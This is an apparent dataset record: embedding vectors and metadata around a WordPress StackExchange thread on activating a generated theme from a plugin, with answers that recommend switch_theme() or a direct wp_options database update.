0.025421142578125, 0.088623046875, 0.04046630859375, 0.0136260986328125, 0.0253448486328125, -0.02166748046875, 0.037689208984375, 0.019256591796875, 0.004791259765625, -0.006969451904296875, -0.04010009765625, 0.03515625, -0.0022449493408203125, -0.0494384765625, 0.046356201171875, 0.00438690185546875, 0.06805419921875, 0.020233154296875, 0.00893402099609375, 0.0094451904296875, 0.0421142578125, -0.04913330078125, 0.0374755859375, -0.0096893310546875, -0.040557861328125, 0.03546142578125, 0.004058837890625, -0.00485992431640625, -0.005084991455078125, 0.0833740234375, -0.033050537109375, 0.032745361328125, -0.0491943359375, -0.096435546875, 0.00980377197265625, -0.03466796875, 0.023590087890625, -0.0045318603515625, 0.019500732421875, -0.0018329620361328125, -0.016754150390625, 0.003421783447265625, -0.002063751220703125, 0.0013227462768554688, 0.0252838134765625, -0.01332855224609375, 0.02349853515625, -0.0014848709106445312, 0.0265960693359375, -0.001819610595703125, -0.033416748046875, 0.014007568359375, 0.0218048095703125, 0.0389404296875, -0.037109375, -0.0197906494140625, -0.043243408203125, -0.0146484375, -0.0269317626953125, -0.021331787109375, 0.0809326171875, -0.0030307769775390625, 0.046600341796875, -0.01007843017578125, -0.020965576171875, -0.007770538330078125, -0.024261474609375, 0.019134521484375, 0.0305938720703125, 0.02227783203125, 0.0411376953125, -0.007251739501953125, 0.00215911865234375, 0.09808349609375, 0.0322265625, 0.016326904296875, 0.0026912689208984375, -0.0035266876220703125, 0.03912353515625, 0.001956939697265625, 0.0148773193359375, -0.0009927749633789062, -0.04644775390625, -0.01358795166015625, 0.0350341796875, -0.02679443359375, 0.060577392578125, -0.0129547119140625, -0.019805908203125, -0.0338134765625, -0.10009765625, 0.0265655517578125, -0.07318115234375, 0.0300140380859375, -0.01044464111328125, 0.002666473388671875, -0.01239013671875, -0.05255126953125, 0.01493072509765625, 0.033721923828125, -0.0328369140625, 0.0017099380493164062, -0.0007824897766113281, -0.00537872314453125, -0.007537841796875, -0.0173797607421875, -0.0007047653198242188, -0.000025153160095214844, -0.01071929931640625, 0.032012939453125, 0.0221099853515625, 0.0657958984375, 0.015960693359375, 0.019012451171875, -0.006103515625, 0.05181884765625, 0.0675048828125, -0.006160736083984375, 0.0121002197265625, 0.0188140869140625, 0.0482177734375, -0.0029468536376953125, 0.0202484130859375, -0.01502227783203125, 0.00807952880859375, 0.0271453857421875, -0.022491455078125, 0.00495147705078125, -0.00893402099609375, 0.035552978515625, 0.05328369140625, 0.01195526123046875, -0.02496337890625, -0.00431060791015625, -0.031158447265625, -0.022247314453125, -0.01062774658203125, -0.0251617431640625, -0.0457763671875, -0.0023975372314453125, 0.0626220703125, 0.02532958984375, 0.08270263671875, -0.0147857666015625, -0.045013427734375, -0.005950927734375, 0.046112060546875, -0.08917236328125, -0.09710693359375, 0.0232696533203125, -0.07904052734375, 0.005016326904296875, -0.0313720703125, -0.040191650390625, -0.004177093505859375, -0.004947662353515625, 0.0029144287109375, 0.00457763671875, -0.0209808349609375, -0.052215576171875, -0.033172607421875, -0.06781005859375, 0.03912353515625, -0.01055145263671875, 0.0137786865234375, 0.003513336181640625, 0.034423828125, 0.0132293701171875, -0.0003361701965332031, 0.01904296875, 0.08843994140625, -0.01207733154296875, -0.032135009765625, 0.007904052734375, -0.00616455078125, 0.021148681640625, 0.01236724853515625, 0.00769805908203125, 0.0166473388671875, -0.0215911865234375, -0.0213470458984375, 0.02581787109375, 0.00919342041015625, 0.057098388671875, -0.0019741058349609375, -0.045928955078125, 0.047698974609375, 0.04522705078125, -0.027130126953125, 0.0167694091796875, 0.0200042724609375, -0.0028934478759765625, 0.0310211181640625, -0.01202392578125, -0.04608154296875, 0.024169921875, 0.002899169921875, -0.017852783203125, -0.0022792816162109375, -0.05157470703125, -0.002971649169921875, 0.0253753662109375, 0.0062713623046875, 0.0265045166015625, 0.046966552734375, 0.0295257568359375, -0.0274200439453125, 0.0028057098388671875, 0.0057373046875, 0.0006742477416992188, 0.0098114013671875, -0.042724609375, -0.0147552490234375, -0.0758056640625, 0.062103271484375, -0.008941650390625, -0.025970458984375, -0.02850341796875, -0.031280517578125, 0.0044403076171875, 0.095703125, 0.01806640625, -0.0086669921875, -0.01377105712890625, 0.015350341796875, -0.082763671875, -0.022918701171875, -0.059844970703125, 0.01032257080078125, -0.0693359375, -0.028564453125, -0.02960205078125, -0.04107666015625, 0.0246124267578125, -0.03125, -0.0018491744995117188, -0.048095703125, 0.015106201171875, -0.031219482421875, 0.048095703125, -0.04510498046875, 0.045562744140625, -0.07177734375, 0.0266876220703125, -0.045379638671875, -0.05462646484375, -0.0186309814453125, 0.0106658935546875, 0.0489501953125, 0.01122283935546875, -0.0168914794921875, -0.012939453125, 0.042236328125, 0.01404571533203125, 0.0090484619140625, 0.0193634033203125, -0.01546478271484375, 0.0311126708984375, 0.006481170654296875, 0.0153350830078125, -0.0092315673828125, -0.01024627685546875, -0.02215576171875, -0.04071044921875, -0.0198211669921875, -0.03179931640625, -0.00030303001403808594, -0.00670623779296875, -0.018768310546875, -0.0193634033203125, -0.01157379150390625, -0.0074920654296875, 0.0210418701171875, -0.031005859375, 0.021728515625, -0.036163330078125, -0.037750244140625, 0.05865478515625, 0.0404052734375, -0.01078033447265625, -0.00975799560546875, 0.071044921875, 0.01505279541015625, -0.045684814453125, -0.042022705078125, -0.0035037994384765625, 0.04119873046875, -0.007114410400390625, 0.01514434814453125, -0.0299072265625, -0.054290771484375, 0.09307861328125, 0.00595855712890625, 0.03057861328125, 0.0084991455078125, -0.005260467529296875, 0.01169586181640625, -0.040557861328125, 0.045440673828125, 0.041259765625, -0.06304931640625, 0.01983642578125, -0.0026798248291015625, 0.00611114501953125, 0.0162353515625, 0.01306915283203125, 0.0006670951843261719, -0.0092315673828125, -0.0216522216796875, -0.08544921875, 0.0223236083984375, -0.057037353515625, -0.018157958984375, -0.006061553955078125, -0.01397705078125, 0.00899505615234375, 0.0089111328125, -0.02020263671875, -0.00856781005859375, -0.01122283935546875, 0.0226898193359375, 0.02142333984375, -0.00925445556640625, 0.017333984375, -0.0267181396484375, -0.016937255859375, 0.07940673828125, 0.00830841064453125, -0.042694091796875, 0.00937652587890625, -0.0396728515625, 0.057891845703125, 0.0209197998046875, 0.0063934326171875, 0.0243377685546875, 0.057891845703125, -0.002986907958984375, -0.0024261474609375, -0.0176239013671875, 0.04833984375, -0.031341552734375, 0.0153350830078125, -0.00589752197265625, 0.0016679763793945312, -0.02899169921875, 0.12164306640625, 0.0005121231079101562, 0.0517578125, -0.037506103515625, 0.004367828369140625, 0.0053863525390625, 0.017822265625, 0.024261474609375, 0.0010099411010742188, -0.0127716064453125, -0.01300048828125, 0.006008148193359375, -0.036956787109375, -0.0118865966796875, 0.022735595703125, 0.0309295654296875, 0.048248291015625, 0.01221466064453125, -0.016571044921875, -0.002803802490234375, -0.0161590576171875, 0.032684326171875, -0.0447998046875, -0.06683349609375, -0.03759765625, -0.022186279296875, 0.01385498046875, -0.0258941650390625, -0.011627197265625, 0.01102447509765625, -0.051788330078125, -0.0205230712890625, 0.0057373046875, -0.03076171875, -0.0265350341796875, -0.0140533447265625, -0.0246124267578125, -0.013885498046875, -0.0019502639770507812, -0.055084228515625, -0.0284423828125, 0.0038356781005859375, -0.021697998046875, 0.0203399658203125, -0.0162811279296875, 0.003955841064453125, -0.049957275390625, 0.0303192138671875, -0.054046630859375, -0.00951385498046875, 0.049224853515625, 0.03076171875, -0.055389404296875, -0.00023448467254638672, -0.00981903076171875, 0.0007987022399902344, 0.035980224609375, -0.00737762451171875, -0.0452880859375, -0.0252838134765625, -0.0193634033203125, 0.02862548828125, 0.0077667236328125, 0.06805419921875, 0.0080108642578125, 0.01528167724609375, -0.052886962890625, 0.047210693359375, -0.007083892822265625, 0.037567138671875, -0.0170440673828125, -0.00547027587890625, 0.0036334991455078125, 0.040496826171875, 0.00518798828125, -0.01329803466796875, -0.00959014892578125, -0.039581298828125, -0.0128173828125, 0.00025582313537597656, -0.032470703125, 0.00310516357421875, 0.046630859375, -0.005680084228515625, -0.00719451904296875, -0.002536773681640625, 0.011962890625, -0.01218414306640625, -0.0127105712890625, 0.01922607421875, -0.0307159423828125, 0.0281524658203125, -0.014862060546875, -0.0114593505859375, -0.00897979736328125, -0.03350830078125, 0.01483154296875, 0.0098724365234375, 0.006153106689453125, -0.0015850067138671875, -0.043731689453125, 0.036376953125, 0.050323486328125, -0.004558563232421875, 0.017242431640625, 0.0413818359375, 0.018951416015625, 0.0215911865234375, 0.024444580078125, 0.001125335693359375, -0.0273284912109375, 0.0648193359375, 0.0165863037109375, -0.03094482421875, 0.04791259765625, -0.051513671875, -0.0203094482421875, 0.0199737548828125, 0.03759765625, -0.0227203369140625, 0.01324462890625, 0.01290130615234375, -0.0024471282958984375, 0.0194549560546875, 0.0212249755859375, -0.038604736328125, -0.04632568359375, 0.031890869140625, -0.062042236328125, -0.0211181640625, 0.00661468505859375, 0.00045609474182128906, -0.0076751708984375, -0.004848480224609375, 0.01372528076171875, -0.0003833770751953125, -0.032012939453125, -0.0134124755859375, 0.022674560546875, -0.00699615478515625, -0.0158233642578125, 0.0162200927734375, -0.035400390625, -0.0213775634765625, -0.07427978515625, -0.039337158203125, -0.0214996337890625, -0.02362060546875, 0.0264892578125, -0.00649261474609375, 0.037200927734375, 0.034576416015625, 0.00914764404296875, -0.031463623046875, 0.003505706787109375, -0.011444091796875, 0.0284271240234375, -0.0211029052734375, -0.01529693603515625, 0.0400390625, -0.043487548828125, 0.0148773193359375, -0.00788116455078125, 0.0247344970703125, -0.0204620361328125, -0.005191802978515625, 0.034515380859375, 0.0419921875, -0.045806884765625, 0.0265655517578125, 0.038726806640625, -0.0161895751953125, 0.01495361328125, -0.0036487579345703125, -0.069580078125, -0.049407958984375, 0.01422882080078125, -0.058685302734375, 0.000812530517578125, 0.0095672607421875, -0.048126220703125, 0.05194091796875, -0.00455474853515625, 0.003650665283203125, 0.00679779052734375, 0.016357421875, -0.01178741455078125, -0.00360107421875, -0.031707763671875, 0.045654296875, 0.0122222900390625, 0.0305633544921875, -0.0277099609375, 0.007122039794921875, 0.0039825439453125, 0.019775390625, 0.00850677490234375, 0.009918212890625, 0.0080413818359375, -0.038604736328125, -0.004058837890625, 0.046630859375, 0.005496978759765625, 0.005035400390625, 0.037628173828125, 0.04095458984375, 0.0950927734375, -0.0298614501953125, 0.044586181640625, -0.02239990234375, 0.025604248046875, 0.04339599609375, 0.006526947021484375, -0.014739990234375, 0.0121002197265625, -0.022125244140625, -0.01983642578125, -0.008514404296875, 0.0085296630859375, -0.01219940185546875, 0.037933349609375, 0.050811767578125, 0.047821044921875, 0.017486572265625, -0.059234619140625, -0.00821685791015625, 0.033447265625, 0.00951385498046875, -0.015625, 0.05853271484375, 0.0205535888671875, 0.00565338134765625, 0.041961669921875, 0.0159149169921875, 0.0272369384765625, 0.031036376953125, 0.050750732421875, 0.0204315185546875, 0.030670166015625, -0.07391357421875, -0.07275390625, 0.06927490234375, 0.09173583984375, -0.03582763671875, -0.0543212890625, -0.003604888916015625, 0.0262603759765625, 0.06195068359375, 0.032867431640625, 0.09527587890625, -0.0206146240234375, 0.036407470703125, -0.03460693359375, 0.01873779296875, 0.0200653076171875, -0.0162811279296875, -0.01317596435546875, -0.011993408203125, 0.01052093505859375, 0.061981201171875, -0.0155792236328125, -0.0101318359375, 0.00927734375, 0.007343292236328125, 0.00002294778823852539, 0.021575927734375, 0.000133514404296875, 0.00676727294921875, 0.0162506103515625, -0.006839752197265625, 0.011566162109375, -0.0242156982421875, 0.0213165283203125, 0.01145172119140625, -0.020477294921875, 0.0087738037109375, 0.006542205810546875, -0.0214691162109375, 0.007160186767578125, -0.0008192062377929688, -0.042388916015625, -0.01971435546875, -0.00653839111328125, -0.0289154052734375, -0.00307464599609375, -0.01441192626953125, 0.00662994384765625, 0.01100921630859375, -0.00782012939453125, -0.00560760498046875, 0.05377197265625, 0.002185821533203125, -0.031585693359375, 0.03955078125, -0.01611328125, -0.005779266357421875, 0.0035381317138671875, -0.0635986328125, 0.00362396240234375, -0.020660400390625, -0.035003662109375, 0.0026607513427734375, -0.0487060546875, -0.0311126708984375, 0.012054443359375, 0.020172119140625, -0.0027828216552734375, 0.0261993408203125, 0.007358551025390625, -0.047943115234375, 0.0195159912109375, 0.0275115966796875, 0.020233154296875, -0.0018224716186523438, 0.0005855560302734375, -0.02825927734375, -0.03741455078125, -0.006275177001953125, -0.0012674331665039062, 0.0075836181640625, 0.007350921630859375, 0.0013246536254882812, 0.0208740234375, -0.002666473388671875, -0.0235137939453125, -0.00014138221740722656, -0.026275634765625, -0.052398681640625, 0.0673828125, -0.0182342529296875, -0.02117919921875, -0.0024166107177734375, 0.00783538818359375, 0.0540771484375, -0.002849578857421875, 0.009857177734375, 0.013824462890625, -0.02862548828125, 0.00431060791015625, 0.017547607421875, 0.016845703125, -0.0283660888671875, -0.061614990234375, -0.056060791015625, -0.00011777877807617188, 0.01503753662109375, 0.01953125, 0.002460479736328125, 0.01146697998046875, -0.01013946533203125, -0.0276641845703125, 0.01183319091796875, -0.0279998779296875, -0.0005240440368652344, 0.0134429931640625, 0.019561767578125, -0.0102996826171875, -0.05322265625, -0.03033447265625, -0.006328582763671875, -0.0073089599609375, -0.009857177734375, -0.016082763671875, 0.047821044921875, 0.0228271484375, 0.033355712890625, 0.043853759765625, -0.0103759765625, 0.01284027099609375, 0.00975799560546875, -0.0156707763671875, 0.019744873046875, -0.036285400390625, -0.04791259765625, -0.042388916015625, -0.01169586181640625, 0.0159912109375, -0.00933074951171875, -0.033538818359375, -0.06829833984375, -0.00908660888671875, -0.01488494873046875, -0.0011835098266601562, -0.0208282470703125, 0.022186279296875, -0.019378662109375, -0.0222320556640625, -0.033447265625, -0.06634521484375, 0.023284912109375, 0.027435302734375, 0.01216888427734375, 0.018524169921875, -0.00823974609375, -0.0287933349609375, 0.0228729248046875, 0.016082763671875, 0.04058837890625, 0.004119873046875, -0.033111572265625, 0.00628662109375, -0.0126800537109375, 0.04449462890625, -0.0282440185546875, -0.01337432861328125, 0.021881103515625, 0.021240234375, 0.00965118408203125, -0.1026611328125, -0.040252685546875, -0.0249176025390625, 0.031524658203125, 0.028411865234375, 0.00873565673828125, 0.04278564453125, -0.026336669921875, -0.07733154296875, 0.0665283203125, -0.0119171142578125, -0.044921875, -0.03094482421875, 0.018829345703125, 0.024627685546875, -0.0443115234375, -0.01213836669921875, -0.02239990234375, -0.03515625, 0.0118560791015625, 0.0127410888671875, 0.017364501953125, 0.0165557861328125, 0.00943756103515625, -0.058197021484375, -0.00008118152618408203, -0.0211944580078125, -0.0216217041015625, 0.00978851318359375, -0.00572967529296875, 0.04156494140625, 0.0714111328125, -0.00563812255859375, -0.0182342529296875, -0.01033782958984375, -0.04656982421875, -0.01073455810546875, -0.0271453857421875, -0.0323486328125, -0.034088134765625, 0.0318603515625, 0.046661376953125, 0.016876220703125, -0.0205535888671875, -0.025970458984375, -0.010162353515625, -0.016326904296875, -0.0132904052734375, 0.032623291015625, -0.0711669921875, -0.01824951171875, 0.00653839111328125, -0.0174713134765625, 0.007076263427734375, -0.029632568359375, -0.0482177734375, 0.0031070709228515625, -0.004848480224609375, 0.006916046142578125, 0.0098114013671875, 0.0004239082336425781, 0.038818359375, -0.0484619140625, -0.07275390625, 0.0120086669921875, 0.01288604736328125, -0.0396728515625, -0.033966064453125, -0.018890380859375, -0.003108978271484375, -0.0040740966796875, 0.019500732421875, -0.0021114349365234375, 0.0067138671875, 0.003452301025390625, 0.0009107589721679688, -0.007053375244140625, 0.02581787109375, -0.0019426345825195312, 0.0293121337890625, 0.0012826919555664062, 0.03619384765625, 0.0292205810546875, 0.036346435546875, -0.031463623046875, 0.004520416259765625, -0.0233917236328125, 0.04010009765625, 0.0243682861328125, -0.01329803466796875, 0.06317138671875, -0.04595947265625, -0.0037288665771484375, -0.0062255859375, -0.011138916015625, -0.0251922607421875, -0.0027217864990234375, 0.03680419921875, -0.0026683807373046875, 0.01274871826171875 ]
afdca40ef064e15d7c1305ab2bd5699f86370c37
Wordpress Stackexchange Q: Function to activate WordPress theme inside a plugin I am creating a plugin that generates a theme, and so I want to have a checkbox at the end of the theme generation process that gives the possibility to activate the freshly created theme without having to do it manually. Is there any function that can do that? A: Of course there’s a function for that (Codex): switch_theme( $stylesheet ) It: Switches current theme to new template and stylesheet names. Accepts one argument: $stylesheet of the theme. ($stylesheet is the name of your folder slug. It's the same value that you'd use for a child theme, something like twentythirteen.) It also accepts an additional function signature of two arguments: $template then $stylesheet. This is for backwards compatibility. And why is that any better? WordPress uses filters and actions for many things. For example, when you switch the theme, the unused widgets will get saved, so you can restore them in new sidebars... All of that won’t be done, if you switch the theme directly in DB.
Q: Function to activate WordPress theme inside a plugin I am creating a plugin that generates a theme, and so I want to have a checkbox at the end of the theme generation process that gives the possibility to activate the freshly created theme without having to do it manually. Is there any function that can do that? A: Of course there’s a function for that (Codex): switch_theme( $stylesheet ) It: Switches current theme to new template and stylesheet names. Accepts one argument: $stylesheet of the theme. ($stylesheet is the name of your folder slug. It's the same value that you'd use for a child theme, something like twentythirteen.) It also accepts an additional function signature of two arguments: $template then $stylesheet. This is for backwards compatibility. And why is that any better? WordPress uses filters and actions for many things. For example, when you switch the theme, the unused widgets will get saved, so you can restore them in new sidebars... All of that won’t be done, if you switch the theme directly in DB. A: The only thing that comes to my mind is to do it from the database, so basically after you check the checkbox status, you will have to select the wp_options table, you will need to locate two rows template and stylesheet. Then you will have to update alexandria for youThemeName. That query will look like this: $query = "UPDATE wp_options SET option_value='youThemeName' WHERE option_name='template' OR option_name='stylesheet';"; $wpdb->query($query);
wordpress
{ "language": "en", "length": 244, "provenance": "stackexchange_00019.jsonl.gz:487596", "question_score": "3", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/308301" }
[ 0.025726318359375, 0.00499725341796875, -0.035308837890625, -0.02197265625, 0.027862548828125, -0.048553466796875, 0.00879669189453125, -0.00975799560546875, 0.0015506744384765625, 0.014801025390625, -0.01904296875, -0.0026035308837890625, -0.0163116455078125, -0.02618408203125, -0.0133819580078125, -0.033416748046875, 0.0240478515625, 0.00012445449829101562, -0.005115509033203125, -0.021636962890625, -0.0054473876953125, 0.01424407958984375, -0.02886962890625, 0.06817626953125, 0.0207061767578125, 0.022216796875, 0.0819091796875, -0.0355224609375, 0.0411376953125, -0.01265716552734375, 0.031585693359375, -0.04541015625, 0.006443023681640625, 0.017547607421875, -0.00296783447265625, 0.004932403564453125, 0.00662994384765625, 0.015869140625, 0.012420654296875, 0.028900146484375, 0.0308380126953125, -0.003662109375, -0.0229949951171875, 0.0374755859375, -0.027008056640625, -0.062744140625, 0.03826904296875, -0.0208892822265625, -0.0017957687377929688, 0.00319671630859375, 0.005252838134765625, 0.006618499755859375, 0.03662109375, -0.03125, -0.0120849609375, -0.0235443115234375, -0.035064697265625, 0.0262298583984375, 0.02532958984375, 0.030487060546875, -0.006435394287109375, -0.0178680419921875, 0.005584716796875, -0.033782958984375, 0.03631591796875, -0.006435394287109375, -0.05267333984375, 0.0234222412109375, -0.04656982421875, 0.03759765625, 0.039794921875, -0.07147216796875, -0.00023806095123291016, -0.051300048828125, 0.0052490234375, 0.0401611328125, -0.00623321533203125, -0.0026073455810546875, 0.00803375244140625, -0.0251922607421875, 0.0110321044921875, 0.006023406982421875, -0.01462554931640625, -0.04876708984375, 0.037750244140625, -0.0027446746826171875, 0.004337310791015625, -0.006153106689453125, -0.036102294921875, -0.0260467529296875, -0.03350830078125, -0.0235137939453125, -0.0203857421875, -0.04296875, -0.023895263671875, -0.026824951171875, 0.032501220703125, 0.0310516357421875, -0.013092041015625, 0.033172607421875, -0.00811004638671875, -0.0477294921875, 0.06475830078125, -0.0494384765625, -0.02294921875, 0.0626220703125, 0.034881591796875, 0.0008516311645507812, -0.0019817352294921875, -0.004535675048828125, 0.0075836181640625, -0.0198516845703125, -0.035614013671875, -0.0360107421875, -0.01149749755859375, 0.0139617919921875, -0.0513916015625, 0.0102691650390625, 0.00669097900390625, 0.01309967041015625, -0.0024051666259765625, 0.01113128662109375, 0.01715087890625, -0.01629638671875, 0.00002181529998779297, -0.0160064697265625, -0.025726318359375, -0.0201873779296875, -0.0251312255859375, -0.00428009033203125, -0.0187835693359375, 0.01195526123046875, 0.056304931640625, 0.048095703125, 0.016632080078125, -0.0005154609680175781, 0.0213165283203125, 0.0390625, 0.016937255859375, -0.03302001953125, 0.042449951171875, -0.0211334228515625, -0.03265380859375, 0.01012420654296875, 0.01482391357421875, 0.036041259765625, 0.030029296875, -0.0033359527587890625, -0.036102294921875, -0.039520263671875, 0.014984130859375, -0.045806884765625, -0.002567291259765625, 0.003467559814453125, 0.03399658203125, -0.0312042236328125, -0.004657745361328125, -0.0156402587890625, 0.037841796875, -0.0038509368896484375, 0.03314208984375, -0.01128387451171875, -0.0156707763671875, 0.0081329345703125, -0.043670654296875, 0.015716552734375, -0.0244140625, -0.007129669189453125, 0.01617431640625, 0.0290679931640625, -0.033416748046875, -0.01611328125, -0.0064849853515625, -0.01197052001953125, 0.00218963623046875, 0.0293731689453125, 0.02532958984375, 0.0005192756652832031, 0.02447509765625, 0.012115478515625, -0.0200042724609375, -0.0268096923828125, 0.07086181640625, -0.0341796875, -0.033935546875, 0.005809783935546875, 0.005275726318359375, 0.01194000244140625, 0.022369384765625, 0.0210418701171875, 0.002315521240234375, 0.005279541015625, -0.047698974609375, 0.023681640625, 0.01255035400390625, -0.004810333251953125, -0.005001068115234375, 0.00815582275390625, 0.005466461181640625, -0.0239410400390625, 0.0684814453125, 0.011871337890625, 0.01499176025390625, -0.054840087890625, -0.050689697265625, -0.0166778564453125, -0.019866943359375, 0.02716064453125, 0.027862548828125, 0.01373291015625, -0.01708984375, -0.0262451171875, 0.0229949951171875, -0.03460693359375, -0.0280914306640625, 0.0158843994140625, 0.0008254051208496094, 0.032989501953125, 0.028076171875, 0.0216064453125, 0.032562255859375, 0.0167236328125, 0.025146484375, -0.00572967529296875, 0.00473785400390625, -0.0294342041015625, -0.00206756591796875, -0.0184326171875, -0.015655517578125, 0.0093536376953125, -0.0076141357421875, 0.0269317626953125, 0.038818359375, 0.0233917236328125, -0.018218994140625, 0.020233154296875, 0.0061798095703125, -0.045806884765625, -0.00724029541015625, 0.0345458984375, 0.034454345703125, 0.01922607421875, -0.01861572265625, -0.01922607421875, 0.073486328125, 0.010955810546875, 0.0131378173828125, -0.0013666152954101562, 0.0450439453125, 0.04217529296875, -0.0221710205078125, -0.0261688232421875, 0.034027099609375, -0.005786895751953125, 0.022705078125, 0.0291290283203125, -0.0073089599609375, -0.043792724609375, 0.0038318634033203125, 0.0050811767578125, 0.01557159423828125, -0.019866943359375, -0.04486083984375, -0.002300262451171875, -0.00122833251953125, -0.01197052001953125, 0.009368896484375, -0.01242828369140625, -0.010589599609375, -0.012451171875, 0.03460693359375, -0.02069091796875, 0.01212310791015625, 0.072021484375, 0.01119232177734375, -0.021209716796875, -0.02264404296875, -0.03619384765625, 0.015838623046875, 0.03564453125, -0.04962158203125, -0.0175628662109375, -0.0611572265625, -0.0291900634765625, -0.003894805908203125, -0.06341552734375, -0.0030269622802734375, -0.012664794921875, -0.03070068359375, -0.0015821456909179688, 0.0179901123046875, 0.031585693359375, -0.0487060546875, 0.0443115234375, -0.03948974609375, -0.00818634033203125, 0.05670166015625, -0.01328277587890625, 0.015655517578125, -0.02337646484375, 0.043365478515625, 0.0311126708984375, -0.021942138671875, -0.00940704345703125, 0.015899658203125, -0.01153564453125, 0.0323486328125, -0.0104522705078125, -0.0085296630859375, 0.0298919677734375, -0.0487060546875, 0.0196075439453125, 0.02728271484375, 0.02142333984375, 0.00756072998046875, -0.058685302734375, -0.01025390625, 0.015289306640625, -0.053741455078125, -0.0479736328125, -0.0065460205078125, -0.050018310546875, 0.036224365234375, -0.034088134765625, -0.02081298828125, -0.0167694091796875, -0.005340576171875, 0.01255035400390625, 0.001026153564453125, -0.039947509765625, -0.050048828125, -0.06451416015625, -0.07904052734375, -0.004093170166015625, 0.006015777587890625, 0.0037631988525390625, 0.0089874267578125, -0.00003212690353393555, -0.00437164306640625, -0.0689697265625, 0.006511688232421875, 0.02508544921875, -0.0019292831420898438, 0.02471923828125, 0.0243377685546875, -0.0276641845703125, -0.0233612060546875, 0.027557373046875, 0.0008192062377929688, 0.0145111083984375, -0.031158447265625, -0.0091705322265625, -0.0309295654296875, -0.020050048828125, -0.03143310546875, 0.035369873046875, 0.05108642578125, -0.0294342041015625, 0.0171356201171875, -0.059326171875, -0.02362060546875, -0.01189422607421875, -0.05792236328125, 0.0029850006103515625, 0.0302276611328125, 0.007236480712890625, -0.0015516281127929688, -0.0161285400390625, -0.00905609130859375, -0.02593994140625, 0.01125335693359375, -0.0218963623046875, 0.09259033203125, -0.007965087890625, -0.00421142578125, -0.03546142578125, 0.01044464111328125, -0.0221710205078125, -0.00360870361328125, -0.0046844482421875, -0.002536773681640625, -0.01873779296875, 0.0059661865234375, -0.03192138671875, -0.0328369140625, 0.005290985107421875, -0.038482666015625, 0.00963592529296875, 0.001445770263671875, -0.004268646240234375, 0.040496826171875, 0.08648681640625, -0.0728759765625, -0.005474090576171875, 0.028656005859375, 0.009613037109375, -0.0276336669921875, -0.028839111328125, -0.085205078125, -0.01058197021484375, -0.1253662109375, 0.0174713134765625, 0.01166534423828125, -0.04742431640625, -0.0162353515625, 0.01299285888671875, -0.10247802734375, -0.02398681640625, 0.024688720703125, 0.044403076171875, -0.01030731201171875, 0.0109100341796875, -0.019287109375, -0.0092620849609375, -0.001613616943359375, 0.0102386474609375, -0.040924072265625, -0.006847381591796875, -0.00907135009765625, 0.028594970703125, 0.0269012451171875, -0.0244903564453125, 0.006099700927734375, 0.023162841796875, 0.0049591064453125, 0.0531005859375, -0.01416015625, 0.012786865234375, 0.031829833984375, -0.0416259765625, 0.0036754608154296875, -0.0350341796875, -0.00884246826171875, 0.027984619140625, -0.00861358642578125, 0.06329345703125, -0.006565093994140625, -0.0165252685546875, 0.038238525390625, -0.0433349609375, -0.028564453125, -0.006008148193359375, -0.00037288665771484375, 0.02569580078125, -0.0157623291015625, 0.0036106109619140625, -0.01511383056640625, -0.0024871826171875, 0.048004150390625, -0.01262664794921875, -0.022552490234375, -0.004261016845703125, 0.07958984375, 0.0352783203125, -0.020782470703125, 0.007030487060546875, -0.0270843505859375, 0.0362548828125, 0.033966064453125, 0.0063629150390625, -0.00746917724609375, -0.04083251953125, 0.0458984375, 0.026336669921875, -0.035003662109375, -0.0087890625, 0.0982666015625, 0.0015821456909179688, -0.024749755859375, -0.0022296905517578125, -0.027008056640625, 0.032745361328125, 0.0080718994140625, -0.0132598876953125, -0.005535125732421875, -0.0119171142578125, 0.0294952392578125, 0.0263824462890625, -0.0169677734375, -0.053863525390625, -0.037017822265625, 0.00928497314453125, -0.0016164779663085938, 0.0310821533203125, 0.030975341796875, -0.01995849609375, 0.023529052734375, 0.0244293212890625, -0.0007710456848144531, 0.02850341796875, 0.0501708984375, -0.01287841796875, 0.040130615234375, 0.018829345703125, -0.0088043212890625, -0.015899658203125, 0.003627777099609375, 0.018890380859375, -0.021728515625, -0.0343017578125, -0.0657958984375, 0.0214996337890625, 0.02374267578125, 0.02276611328125, 0.00027871131896972656, 0.050079345703125, -0.01459503173828125, -0.01873779296875, -0.02685546875, -0.043060302734375, -0.00933837890625, -0.066650390625, -0.01776123046875, 0.0175933837890625, -0.034881591796875, 0.054901123046875, 0.00714111328125, 0.034393310546875, -0.0009212493896484375, -0.027130126953125, 0.0060577392578125, 0.00885772705078125, -0.0155029296875, 0.010498046875, 0.007656097412109375, 0.041290283203125, -0.0699462890625, 0.046142578125, -0.03131103515625, -0.00765228271484375, 0.014373779296875, 0.041748046875, 0.01419830322265625, 0.0112152099609375, 0.020416259765625, 0.0146942138671875, -0.0162353515625, 0.02008056640625, -0.01120758056640625, -0.044219970703125, -0.0189971923828125, 0.01058197021484375, 0.02130126953125, -0.005054473876953125, -0.0240325927734375, 0.0180206298828125, -0.019683837890625, 0.0236663818359375, -0.0022258758544921875, -0.055908203125, 0.05194091796875, 0.05157470703125, -0.0794677734375, -0.01107025146484375, 0.00445556640625, -0.05499267578125, -0.047149658203125, 0.0089111328125, -0.0145416259765625, -0.00007545948028564453, -0.01107025146484375, 0.03826904296875, -0.025238037109375, -0.0150909423828125, -0.01885986328125, -0.01611328125, 0.06231689453125, 0.009368896484375, -0.051544189453125, 0.022369384765625, -0.019317626953125, -0.0139923095703125, -0.063232421875, -0.094482421875, -0.05328369140625, -0.0125274658203125, -0.0234527587890625, -0.004062652587890625, -0.0186004638671875, -0.0133819580078125, -0.01552581787109375, 0.02703857421875, 0.0142364501953125, 0.01369476318359375, 0.01361846923828125, 0.02618408203125, 0.0250396728515625, 0.009765625, 0.0304412841796875, 0.0027904510498046875, -0.050994873046875, -0.007183074951171875, -0.0171661376953125, -0.0005860328674316406, 0.00843048095703125, -0.01190948486328125, 0.0265045166015625, 0.01476287841796875, 0.06671142578125, 0.0032501220703125, 0.0246124267578125, 0.00675201416015625, 0.0078887939453125, -0.031890869140625, -0.0113677978515625, -0.01515960693359375, 0.00829315185546875, -0.00048613548278808594, -0.057373046875, -0.033538818359375, 0.001064300537109375, 0.013824462890625, 0.04449462890625, -0.04864501953125, 0.016632080078125, 0.05621337890625, -0.09112548828125, 0.07940673828125, 0.057464599609375, -0.009185791015625, 0.0005979537963867188, -0.020782470703125, -0.0241546630859375, -0.018280029296875, 0.005859375, 0.004154205322265625, -0.0185699462890625, 0.0304412841796875, -0.010650634765625, 0.00891876220703125, 0.01885986328125, -0.01465606689453125, 0.0039825439453125, 0.051025390625, 